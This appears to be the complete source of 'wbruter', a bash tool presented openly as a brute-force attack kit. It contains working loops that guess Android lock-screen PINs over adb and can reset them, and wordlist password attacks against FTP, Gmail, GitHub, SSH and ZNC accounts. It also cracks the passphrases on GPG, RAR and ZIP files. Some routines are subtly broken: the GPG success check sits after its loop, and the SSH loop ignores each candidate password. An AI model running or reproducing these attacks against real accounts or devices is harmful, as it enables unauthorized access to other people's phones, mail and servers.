wbruter

#!/bin/bash
################################################################################
################################################################################
####                                                                       #####
#### A notice to all nerds.                                                #####
#### If you will copy developers real work it will not make you a hacker.  #####
#### Resepect all developers, we doing this because it's fun!              #####
####                                                                       #####
################################################################################
################################ SOURCE CODE ###################################
################################################################################
###################### WBRUTER WAS FOUNDED BY WUSEMAN ##########################
################################################################################
####                                                                       #####
####  WBRUTER - A brute force tool for attack various accounts and devices #####
####            wich has been written in pure bash code                    #####
####  Copyright (C) 2018-2019, wuseman                                     #####
####                                                                       #####
####  This program is free software; you can redistribute it and/or modify #####
####  it under the terms of the GNU General Public License as published by #####
####  the Free Software Foundation; either version 2 of the License, or    #####
####  (at your option) any later version.                                  #####
####                                                                       #####
####  This program is distributed in the hope that it will be useful,      #####
####  but WITHOUT ANY WARRANTY; without even the implied warranty of       #####
####  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the        #####
####  GNU General Public License for more details.                         #####
####                                                                       #####
####  You must obey the GNU General Public License. If you will modify     #####
####  emagnet file(s), you may extend this exception to your version       #####
####  of the file(s), but you are not obligated to do so.  If you do not   #####
####  wish to do so, delete this exception statement from your version.    #####
####  If you delete this exception statement from all source files in the  #####
####  program, then also delete it here.                                   #####
####                                                                       #####
####  Contact:                                                             #####
####          IRC: Freenode @ wuseman                                      #####
####          Mail: wuseman <wuseman@nr1.nu>                               #####
####                                                                       #####
################################################################################
####                                                                       #####
#### The first open source tool that can guarantee users to break android  #####
####  pin codes as long as debugging mode has been enable - Released: 2k18 #####
####                                                                       #####
################################################################################
################################################################################

################################################################################
################################################################################
####                                                                        ####
#### Below we store the VERSION of WBRUTER..................................####
####                                                                        ####
################################################################################
################################################################################
VERSION=v2.1.0
RELEASEDATE="2019-04-07"

################################################################################
################################################################################
####                                                                        ####
#### Here we store colors in variables for easier usage in help section     ####
####                                                                        ####
################################################################################
################################################################################
RED="\e[0;31m"
BRIGHTRED="\e[1;31m"
BLUE="\e[0;34m"
BRIGHTBLUE="\e[1;34m"
MAGENTA="\e[0;35m"
BRIGHTMAGENTA="\e[1;35m"
GREEN="\e[0;32m"
BRIGHTGREEN="\e[1;32m"
YELLOW="\e[0;33m"
BRIGHTYELLOW="\e[1;33m"
CYAN="\e[0;36m"
BRIGHTCYAN="\e[1;36m"
WHITE="\e[0;37m"
BRIGHTWHITE="\e[1;37m"
GRAY="\e[0;233m"
BRIGHTGRAY="\e[1;233m"
END="\e[0m"

################################################################################
################################################################################
####                                                                        ####
#### This function will check so usb debugging has been enable..............####
####                                                                        ####
################################################################################
################################################################################
androiddebug() {
case $(adb devices | awk '{print $2}' | sed 1d | sed '$d') in
    "unauthorized") echo "* You must enable usb-debugging in developer settings." ;;
esac
}

################################################################################
################################################################################
####                                                                        ####
#### This wil check wich runmode mode device has been booted into...........####
#### Since we must separate everything, for bruteforce we want be in normal ####
#### boot mode, if device is not in normal mode we stop.....................####
####                                                                        ####
################################################################################
################################################################################
android_status() {
ADBW=$(adb devices | sed -n '2p'|awk '{print $2}' | sed 's/device/normal/g')
ADBF="$(fastboot devices | grep fastboot|awk '{print $2}')"
ADBOFF="$(adb devices | sed -n 2p)"
if [[ $ADBW = "normal" ]]; then
    echo "normal" > $(pwd)/.wdroid-status
elif [[ $ADBW = "unauthorized" ]]; then
    echo " * Please allow this pc to authorize" > $(pwd)/.wdroid-status
elif [[ $ADBW = "recovery" ]]; then
    echo "recovery" > $(pwd)/.wdroid-status
elif [[ $ADBF = "fastboot" ]]; then
    echo "fastboot" > $(pwd)/.wdroid-status
else
    echo "* No device connected.."
exit
fi

################################################################################
################################################################################
####                                                                        ####
#### Antother control, check so device has been authorized with this PC.....####
####                                                                        ####
################################################################################
################################################################################
adb devices |sed -n 2p|grep una &> /dev/null
if [[ $? -eq "0" ]]; then
   echo "* Your device has not been authorized with this pc, aborted."
   exit
fi

}

################################################################################
################################################################################
####                                                                        ####
#### Third control, check so required tools is installed on the PC..........####
####                                                                        ####
################################################################################
################################################################################
adbexist() {
adb="$(which adb 2> /dev/null)"
distro="$(cat /etc/os-release | head -n 1 | cut -d'=' -f2 | sed 's/"//g')"

if [ -z "$adb" ]; then
   printf "+ You must install \e[1;1madb\e[0m package before you can attack by this method.\n" 
  read -p "Install adb (Y/n) " adbinstall
fi

case $adbinstall in
     "Y")
        echo -e "\nPlease wait..\n"
      sleep 1
case $distro in
     "Gentoo")
        echo -e "It seems you running \e[1;32m$distro\e[0m wich is supported, installing adb....\n"
        emerge --ask android-tools ;;
     "Sabayon")
        echo -e "It seems you running \e[1;32m$distro\e[0m wich is supported, installing adb....\n"
        emerge --ask android-tools ;;
     "Ubuntu")
        echo -e "It seems you running \e[1;32m$distro\e[0m wich is supported, installing adb....\n"
        apt update -y; apt upgrade -y; apt-get install adb ;;
     "Debian")
        echo -e "It seems you running \e[1;32m$distro\e[0m wich is supported, installing adb....\n"
        apt update -y; apt upgrade -y; apt-get install adb ;;
     "Raspbian")
        echo -e "It seems you running \e[1;32m$distro\e[0m wich is supported, installing adb....\n"
        apt update -y; apt upgrade -y; apt-get install adb ;;
     "Mint")
        echo -e "It seems you running \e[1;32m$distro\e[0m wich is supported, installing adb....\n"
        apt update -y; apt upgrade -y; apt-get install adb ;;
     "no") echo "Aborted." ;
           exit 0 ;;
esac
       echo -e "This tool is not supported for $distro, please go compile it from source instead...\n"
esac
}

################################################################################
################################################################################
####                                                                        ####
#### Aaaahh, fourth control, if there is more then two devices connected....####
#### then we will let the user choose wich one to attack....................####
####                                                                        ####
################################################################################
################################################################################
multidevices() {
ADBTOT="$(adb devices | sed 1d|head -2|grep device|wc -l)"

if [[ $ADBTOT -gt "1" ]]; then
    echo "You have more then one device connected, please choose one of:" 
#    echo $(adb devices| awk '{print NR-1 " - " $0}'|sed "1d;$d"|awk '{print $1 ")", $3}'|sed '$d';) 
    exit 1
fi
}

################################################################################
################################################################################
####                                                                        ####
#### If the user will use --android or -a without a digit, then print usage.####
####                                                                        ####
################################################################################
################################################################################
android_usage() {
if [[ -z $1 ]];then
   STATUS=$(cat $(pwd)/.wdroid-status)
   rm $(pwd)/.wdroid-status
if [[ $STATUS = "normal" ]]; then
   printf "\nDevice is in $STATUS mode, what are you trying to do?

     Usage:

        ./wbruter --android 4         # Attack android device via locksettings protected by 4 digits
        ./wbruter --android 6         # Attack android device via locksettings protected by 6 digits
        ./wbruter --android-gui 4     # Attack android device pin code via gui-screen protected by 4 digits
        ./wbruter --android-gui 6     # Attack android device pin code via gui-screen protected by 6 digits

"
   exit 1
fi
else
printf "Your device must be in normal mode when attacking pin code\n"
fi
}

################################################################################
################################################################################
####                                                                        ####
#### This is the bruteforcer for android with 4digits via locksettings......####
####                                                                        ####
################################################################################
################################################################################
android4() {
cr=`echo $'\n.'`
cr=${cr%.}
    printf "%52s\n" | tr ' ' '-'
    echo -e "Bruteforce attack will be started within 2 seconds..\nPlease use (CTRL+C) to abort the attack at anytime.."
    printf "%52s\n" | tr ' ' '-'
for i in {0000..9999}; do
if [[ -z $(adb shell locksettings clear --old $i | grep "Lock credential cleared") ]]; then
    printf "Wrong PIN: \e[1;31m$i\e[0m\n"
else
    printf "\nPIN Code Has Been Found: \e[1;32m$i\e[0m\n\n"
    printf "Do you want to set a new PIN "; read -p "(y/N): " newpin
case $newpin in
   y)
    read -p "Pin: " newpin2
    adb shell locksettings set-pin $newpin2
    printf "\nIt is required to restart your device after\n"
    printf "PIN code has been set after old pin was erased..\n\n"
    ;;
   N)
    printf "\nIt is required to restart your device after\n"
    printf "PIN code has been erased from your device..\n\n";
    ;;
esac
    read -p "restart device (y/N): " rebootornot
case $rebootornot in
    y) adb shell reboot; printf "\nRebooting device, use pin '$newpin2' for unlock device..\n\n" ;;
    N) printf "\nPin was cracked by wbruter v1.5\n\n";exit 0 ;;
esac
    exit
fi
done
}

################################################################################
################################################################################
####                                                                        ####
#### This is the bruteforcer for 6 digits via locksettings..................####
####                                                                        ####
################################################################################
################################################################################
android6() {
cr=`echo $'\n.'`
cr=${cr%.}
    printf "%52s\n" | tr ' ' '-'
    echo -e "Bruteforce attack will be started within 2 seconds..\nPlease use (CTRL+C) to abort the attack at anytime.."
    printf "%52s\n" | tr ' ' '-'
for i in {000000..999999}; do
if [[ -z $(adb shell locksettings clear --old $i | grep "Lock credential cleared") ]]; then
    printf "Wrong PIN: \e[1;31m$i\e[0m\n"
else
    printf "\nPIN Code Has Been Found: \e[1;32m$i\e[0m\n\n"
    printf "Do you want to set a new PIN "; read -p "(y/N): " newpin
case $newpin in
   y)
    read -p "Pin: " newpin2
    adb shell locksettings set-pin $newpin2
    printf "\nIt is required to restart your device after\n"
    printf "PIN code has been set after old pin was erased..\n\n"
    ;;
   N)
    printf "\nIt is required to restart your device after\n"
    printf "PIN code has been erased from your device..\n\n";
    ;;
esac
    read -p "restart device (y/N): " rebootornot
case $rebootornot in
    y) adb shell reboot; printf "\nRebooting device, use pin '$newpin2' for unlock device..\n\n" ;;
    N) printf "\nPin was cracked by wbruter v1.5\n\n";exit 0 ;;
esac
    exit
fi
done
}


################################################################################
################################################################################
####                                                                        ####
#### This is the bruteforcer for android with 4 digits via GUI Screen.......####
####                                                                        ####
################################################################################
################################################################################
androidgui4() {
screen="$(adb shell dumpsys nfc | grep 'mScreenState=')"
case $screen in
 "mScreenState=OFF") echo -e "Preparing to attack."; 
                     echo -e "All Has Been Set" ;;
 "mScreenState=ON_UNLOCKED") adb shell input keyevent 26
esac
   echo -e "Bruteforce attack will be started within 2 seconds..\nPlease use (CTRL+C) to abort the attack at anytime.."
   adb shell input keyevent 82
   adb shell input swipe 407 1211 378 85
for i in {0000..9999}; do
   echo -e "\e[0;1mTrying pin:  $i\e[0m"
for (( j=0; j<${#i}; j++ )); do
   adb shell input keyevent $((`echo ${i:$j:1}`+7))
done
   adb shell input keyevent 66
   adb shell input swipe 407 1211 378 85
clear() {
   adb shell input keyevent KEYCODE_MOVE_END
   adb shell input keyevent --longpress $(printf 'KEYCODE_DEL %.0s' {1..250}); } ;clear
if ! (( `expr $i + 1` % 4 )); then
   adb shell input keyevent 66
   sleep 30
   adb shell input keyevent 82
   adb shell input swipe 407 1211 378 85
fi
done
}


################################################################################
################################################################################
####                                                                        ####
#### This is the bruteforcer for android with 6 digits via GUI Screen.......####
####                                                                        ####
################################################################################
################################################################################
androidgui6() {
screen="$(adb shell dumpsys nfc | grep 'mScreenState=')"
case $screen in
 "mScreenState=OFF") echo -e "Preparing to attack."; 
                     echo -e "All Has Been Set" ;;
 "mScreenState=ON_UNLOCKED") adb shell input keyevent 26
esac
   echo -e "Bruteforce attack will be started within 2 seconds..\nPlease use (CTRL+C) to abort the attack at anytime.."
   adb shell input keyevent 82
   adb shell input swipe 407 1211 378 85
for i in {000000..999999}; do
   echo -e "\e[0;1mTrying pin:  $i\e[0m"
for (( j=0; j<${#i}; j++ )); do
   adb shell input keyevent $((`echo ${i:$j:1}`+7))
done
   adb shell input keyevent 66
   adb shell input swipe 407 1211 378 85
clear() {
   adb shell input keyevent KEYCODE_MOVE_END
   adb shell input keyevent --longpress $(printf 'KEYCODE_DEL %.0s' {1..250}); } ;clear
if ! (( `expr $i + 1` % 4 )); then
   adb shell input keyevent 66
   sleep 30
   adb shell input keyevent 82
   adb shell input swipe 407 1211 378 85
fi
done
}




################################################################################
################################################################################
####                                                                        ####
#### This is the bruteforcer for attack a ftp account.......................####
####                                                                        ####
################################################################################
################################################################################
ftpattack() {
which ftp &> /dev/null
if [[ $? -eq "1" ]]; then
   printf "+ You must install \e[1;1mftp\e[0m package before you can attack by this method, aborted\n" 
   exit 0
fi

re='^[0-9]+$'
read -p "FTP Username: " username; if [[ -z $username ]]; then echo "You must enter a username, aborted"; exit 0;fi
read -p "FTP Host: " host; if [[ -z $host ]];then echo "You must enter a hostname or ip number, aborted";exit 0;fi
read -p "FTP Port: " port;if [[ -z $port ]];then echo "You must enter a port, aborted.";exit 0;fi
if ! [[ $port =~ $re ]];then echo "That's not a valid port, aborted" >&2; exit 1;fi
read -p "Wordlist: " wordlist;if [[ -z $wordlist ]]; then echo "You must enter a a wordlist";exit 0;fi
if [[ ! -f $wordlist ]];then echo "Can't find $wordlist, aborted"; exit 0;fi


printf "\n====================================================="
printf "\nBruteforce attack will be started within 2 seconds..\n"
printf "Please use (CTRL+C) to abort the attack at anytime..\n"
printf "=====================================================\n"
sleep 2
while read line; do
ftpbrute=$(curl -su $username:$line ftp://$host:$port)
if [[ -n "$ftpbrute"  ]]; then
echo -e "====================================================="
echo -e "Password for $username has been found: \e[1;32m$line\e[0m"
echo -e "=====================================================\n"
exit 0
else
echo -e "Wrong password for $user: \e[1;31m$line\e[0m"
fi
done < $wordlist
echo -e "====================================================="
echo -e "No password in $wordlist matched $username password.."
echo -e "=====================================================\n"
}


################################################################################
################################################################################
####                                                                        ####
#### This is the bruteforcer for attack a gmail account.....................####
####                                                                        ####
################################################################################
################################################################################
gmailattack() {
requirements_gmail() {
if [[ -n $(curl -v &> /dev/null) ]]; then echo "Curl is required for this tool, aborted."; exit 1;fi }
gmail_attack() {
if [[ -n $(curl -v &> /dev/null) ]]; then echo "Curl is required for this tool, aborted."; exit 1;fi; read -p $'Email: ' mail
if [[ ! "$mail" =~ ^[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}$ ]]; then echo -e "Error: email address $email is invalid, aborted."; exit 0;fi
read -p $'Wordlist: ' wordlist
if [[ ! -a $wordlist ]]; then echo "Error: There is no such wordlist, aborted"; exit 0; fi

   printf "\n"
   printf "IP: $(curl -s https://nr1.nu/i/)\n"
   printf "Target: $mail\n"
   printf "Wordlist: $(pwd)/$wordlist\n\n"
   read -p $'If everything looks ok, hit enter to start the brute attack: ' ready
if [[ -z $ready ]]; then
   printf "Bruteforce attack will be started within 2 seconds..\nPlease use (CTRL+C) to abort the attack at anytime..\n"
while read -r line; do
name="$line"
attack="$(curl -s -u $mail:$name https://mail.google.com/mail/feed/atom | grep 'xml')"
if [[ -n "$attack" ]]; then
   printf "\n\nWrong Password for $mail: \e[1;31m$name\e[0m\n"
fi

if [ -n "$attack" ]; then
   printf "%88s\n" | tr ' ' '-'
   echo -e  "Password Has Been Found: $name"
   printf "%88s\n" | tr ' ' '-'
   exit
fi
done < "$wordlist"
   printf "\n\nSorry, no passwords in $wordlist matched $mail current password. \n\n"
   printf "Try with another wordlist...\n\n"
   exit
else
   printf "Aborted.\n"
   printf "%88s" | tr ' ' '-'
fi
}
requirements_gmail
gmail_attack
}


################################################################################
################################################################################
####                                                                        ####
#### This is the GPG bruteforcer for crack gpg keys and passphrases.........####
####                                                                        ####
################################################################################
################################################################################
gpgattack() {
which gpg &> /dev/null
if [[ $? -eq "1" ]]; then
   printf "You must install 'gpg' package, aborted" 
   exit 0
fi

    read -p "GPG File: " GPG_FILE
    read -p "Wordlist: " WORDLIST
    echo -e ""
    echo -e "Target File: $GPG_FILE"
    echo -e "Wordlist: $WORDLIST"
    echo -e ""
    read -p $'If everything looks ok, type yes to begin the brute attack: (yes/no): ' ready
if [ $ready = "yes" ]; then
   echo -e "Bruteforce attack will be started within 2 seconds..\nPlease use (CTRL+C) to abort the attack at anytime..\n"
for word in $(cat $WORDLIST); do 
    echo $word | gpg --passphrase-fd 0 -q --batch --allow-multiple-messages --no-tty  --output $GPG_FILE -d $GPG_FILE 2> /dev/null
    echo -e "Wrong password: \e[1;31m$word\e[0m"
done;
if [ $? = "0" ]; then
    echo "--------------------------------------"
    echo -e "GPG passphrase: \e[1;32m${word}\e[0m";
    echo "--------------------------------------"
    exit 0;
fi

fi
}

################################################################################
################################################################################
####                                                                        ####
#### This is the RAR bruteforcer for crack gpg keys and passphrases.........####
####                                                                        ####
################################################################################
################################################################################
rarattack() {
if [[ -n $(unrar -v &> /dev/null) ]]; then
    echo "unrar is required for this tool, aborted."
    exit 1
fi

wordlist="wordlist"
read -p "RAR Filename: (/path/to/file.rar): " rartarget

if [ ! -f $wordlist ]; then
   printf "Can't find $wordlist, aborted\n"
   exit
fi

if [[ ! -a $rartarget ]]; then
   printf "Sorry, can't $rartarget a such file, aborted\n"
   exit
fi
   printf "\n%51s" | tr ' ' '='
   printf "\nBruteforce attack will be started within 2 seconds..\nPlease use (CTRL+C) to abort the attack at anytime..\n"
   printf "%51s\n" | tr ' ' '='
   sleep 2
while read line; do
   echo "$line" | unrar p $rartarget &> /dev/null
if [[ $? = "0" ]]; then
   printf "%51s" | tr ' ' '='
   printf "\nPassword has been found: \e[1;32m$line\e[0m"
   printf "\n%51s\n\n" | tr ' ' '='
else
   printf "Wrong password: \e[1;31m$line\e[0m\n"
fi
done < wordlist
}

#################################################################################
#### NEW METHOD TO BREAK SSH SINCE 2019-04-07 VIA PSSH INSTEAD OF SSH........####
#################################################################################
####                                                                         ####
#### This is a unique method you wont find anywhere else while I typing......####
#### this, atleast you wont find a public released ssh attack tool that......####
#### using same tools as I do in this method, this is a powerful method......####
####                                                                         ####
#################################################################################
#################################################################################
sshattack() {
sshpass -v &> /dev/null
if [[ ! $? = "0" ]]; then echo "sshpass is required to be installed, aborted"; exit 0; fi
pssh --help &> /dev/null
if [[ ! $? = "0" ]]; then echo "pssh is required to be installed, aborted"; exit 0; fi

read -p "Hostfile: " hostfile
read -p "Username: " username
read -p "Password " wordlist

printf "=====================================================\n"
printf "Bruteforce attack will be started within 2 seconds..\n"
printf "Please use (CTRL+C) to abort the attack at anytime..\n"
printf "=====================================================\n"
while read line; do
if [[ -n $(sshpass -f $wordlist pssh -v "-o StrictHostKeyChecking=no" -I -A -p 10 -h $hostfile -l $username -i "uptime" < $wordlist  | grep SUCCESS) ]]; then
printf "Password has been found for $username: $line"
else
echo "Wrong password for $username: $line"
fi
done < $wordlist
}

################################################################################
################################################################################
####                                                                        ####
#### This is the ZIP brute forcer for crack zip keys and passphrases........####
####                                                                        ####
################################################################################
################################################################################
zipattack() {
read -p "ZiP File: " zippie
read -p "Wordlist: " wordish
printf "%50s\n" | tr ' ' '='
while read line; do
   unzip -P $line -o $zippie &> /dev/null
if [[ $? -eq 1 ]]; then
printf "Wrong password: \e[1;31m$line\e[0m\n"
else
printf "%50s\n" | tr ' ' '='
printf "Password Found: \e[1;32m$line\e[0m\n"
printf "%50s\n" | tr ' ' '='
exit
fi
done < $wordish
printf "%50s\n" | tr ' ' '='
echo "No password matched in $wordish - Try another wordlist"
printf "%50s\n" | tr ' ' '='
}


################################################################################
################################################################################
####                                                                        ####
#### This is a unique ZNC Bouncer brute forcer for crack login passphrases..####
####                                                                        ####
################################################################################
################################################################################
zncattack() {
read -p "ZNC User: " zuser
if [[ -z $zuser ]]; then
echo "You must enter a username, aborted"
exit 0
fi

read -p "ZNC Host: " zhost
if [[ -z $zhost ]]; then
echo "You must enter a hostname or ip number, aborted"
exit 0
fi

read -p "ZNC Port: " zport
if [[ -z $zport ]]; then
echo "You must enter a port, aborted."
exit 0
fi

if ! [[ $zport =~ $re ]] ; then
   echo "That's not a valid port, aborted" >&2; exit 1
fi

read -p "ZNC Wordlist: " zwordlist
if [[ -z $zwordlist ]]; then
echo "You must enter a a wordlist"
exit 0
fi

if [[ ! -f $zwordlist ]]; then
echo "Can't find $zwordlist, aborted"
exit 0
fi

printf "\n====================================================="
printf "\nBruteforce attack will be started within 2 seconds..\n"
printf "Please use (CTRL+C) to abort the attack at anytime..\n"
printf "=====================================================\n"
while read line; do
curl -s https://$zhost:$zport --user $zuser:$line | grep Unauthorized &> /dev/null
if [[ "$?" -gt "0" ]]; then
sleep 1
echo -e "====================================================="
echo -e "Password for $zuser has been found: \e[1;32m$line\e[0m"
echo -e "=====================================================\n"
exit 0
else
echo -e "Wrong password for $zuser: \e[1;31m$line\e[0m"
fi
done < $zwordlist
}

github() {
read -p "User: " user
read -p "Wordlist: " wordlist

if [[ ! -f $wordlist ]]; then
  echo "Can't find a such wordlist, aborted"
  exit 0
fi

printf "\n====================================================="
printf "\nBruteforce attack will be started within 2 seconds..\n"
printf "Please use (CTRL+C) to abort the attack at anytime..\n"
printf "=====================================================\n"

while read line; do
curl -su $user:$line -X GET https://api.github.com|grep -iq 'Bad'
if [[ $? -gt "0" ]]; then
printf "\nFound password for $user: \e[1;32m$line\e[0m\n\n"
exit 1
else
printf "Wrong password for $user: \e[1;31m$line\e[0m\n"
fi
done < $wordlist
printf "%50s\n" | tr ' ' '='
echo "No password matched in $wordish - Try another wordlist"
printf "%50s\n" | tr ' ' '='
}


################################################################################
################################################################################
####                                                                        ####
#### From here here we read stdin from the user so we can call the .........####
#### right function, if there is no variable used then we gonna print help..####
####                                                                        ####
################################################################################
################################################################################

if [[ $1 = "--android" && $2 = "4" ]] || [[ $1 = "-a" && $2 = "4" ]]; then
    androiddebug
    adbexist
    android_status
    multidevices
    android4
elif [[ $1 = "--android" && $2 = "6" ]] || [[ $1 = "-a" && $2 = "6" ]]; then
    androiddebug
    adbexist
    android_status
    multidevices
    android6
elif [[ $1 = "--android-gui" && $2 = "4" ]] || [[ $1 = "-A" && $2 = "4" ]]; then
    androiddebug
    adbexist
    android_status
    multidevices
    androidgui4
elif [[ $1 = "--android-gui" && $2 = "6" ]] || [[ $1 = "-A" && $2 = "6" ]]; then
    androiddebug
    adbexist
    android_status
    multidevices
    androidgui6
elif [[ $1 = "--android" && ! $2 = "4" ]] || [[ $1 = "-a" && ! $2 = "4" ]]; then
    androiddebug
    adbexist
    android_status
    multidevices
    android_usage
elif [[ $1 = "--android" && ! $2 = "6" ]] || [[ $1 = "-a" && ! $2 = "6" ]]; then
    androiddebug
    adbexist
    android_status
    multidevices
    android_usage
elif [[ $1 = "--android-gui" && ! $2 = "4" ]] || [[ $1 = "-A" && ! $2 = "4" ]]; then
    androiddebug
    adbexist
    android_status
    multidevices
    android_usage
elif [[ $1 = "--android-gui" && ! $2 = "6" ]] || [[ $1 = "-A" && ! $2 = "6" ]]; then
    androiddebug
    adbexist
    android_status
    multidevices
    android_usage
elif [[ $1 = "-f" || $1 = "-ftp" || $1 = "--f" || $1 = "--ftp" ]]; then
     ftpattack
elif [[ $1 = "-gi" || $1 = "-github" || $1 = "--gi" || $1 = "--github" ]]; then
     github
elif [[ $1 = "-g" || $1 = "-gmail" || $1 = "-g" || $1 = "--gmail" ]]; then
     gmailattack
elif [[ $1 = "-G" || $1 = "-gpg" || $1 = "--G" || $1 = "--gpg" ]]; then
     gpgattack
elif [[ $1 = "-r" || $1 = "-rar" || $1 = "--r" || $1 = "--rar" ]]; then
     rarattack
elif [[ $1 = "-s" || $1 = "-ssh" || $1 = "--ssh" || $1 = "--s" ]]; then
     sshattack
elif [[ $1 = "-v" || $1 = "-version" || $1 = "--version" || $1 = "--v" ]]; then
     printf "\nYou are using $basename$0 $VERSION wich was released $RELEASEDATE\n"
     printf "\nLatest version of WBRUTER will allways be available on: github.com/wuseman/WBRUTER\n\nDo you have any suggestions of rare protocols that should be added under wbruter, then send me an email\n\nThanks for using WBRUTER\n\n"
elif [[ $1 = "-z" || $1 = "-zip" || $1 = "--ZIP" || $1 = "--z" ]]; then
     zipattack
elif [[ $1 = "-Z" || $1 = "-znc"  || $1 = "--Z" || $1 = "--ZNC" ]]; then
     zncattack
else

if [[ $* = "-n" ]]; then
printf "

  $basename$0 $VERSION - is a tool for using brute force & dictionary attacking methods to attack various stuff written in \e[1;1mpure\e[0m bash code

      --android [4] [6] [wordfile]   - Brute force attack any android device with 100% guarantee to crack pin via locksettings
      --androidgui [4] [6]           - Brute force attack any android device via gui/login screen
      --ftp                          - Dictionary attack for crack password for on a ftp server (ftps is supported)
      --gmail                        - Dictionary attack for crack password for any gmail account
      --github                       - Dictionary attack for github accounts via web
      --gpg                          - Dictionary attack for break the encryption of GPG encrypted files protected by a passphrase
      --rar                          - Dictionary attack for break the encryption of rar files
      --ssh                          - Dictionary attack for crack ssh passphrase on any ssh server via parallel ssh (all versions supported)
      --zip                          - Dictionary attack a zip encryptedfile, brute force mode is enable for ZIP files
      --znc                          - Dictionary attack for ZNC bouncer's web loginn
      --version                      - Print version of $basename$0

"
else

printf "

  $basename$0 $VERSION - is a tool for using brute force & dictionary attacking methods to attack various stuff written in \e[1;1mpure\e[0m bash code

     $BRIGHTBLUE--android [4] [6] [wordfile]   - Brute force attack any android device with 100% guarantee to crack pin via locksettings
     $BRIGHTMAGENTA--androidgui                   - Brute force attack any android device via gui/login screen
     $BRIGHTGREEN--ftp                          - Dictionary attack for crack password for on a ftp server (ftps is supported)
     $BRIGHTRED--gmail                        - Dictionary attack for crack password for any gmail account
     $BRIGHTCYAN--github                       - Dictionary attack for github accounts via web
     $BRIGHTBLUE--gpg                          - Dictionary attack for break the encryption of GPG encrypted files protected by a passphrase
     $CYAN--no-colors                    - Do not include colors in help
     $BRIGHTRED--rar                          - Dictionary attack for break the encryption of rar files
     $BRIGHTCYAN--ssh                           -Dictionary attack for crack ssh passphrase on any ssh server via parallel ssh (all versions supported)
     $BRIGHTGRAY--zip                          - Dictionary attack a zip encryptedfile, brute force mode is enable for ZIP files
     $YELLOW--znc                          - Dictionary attack for ZNC bouncer's web loginn
     $BRUGHTWHITE--version                      - Print version of $basename$0

"
fi
fi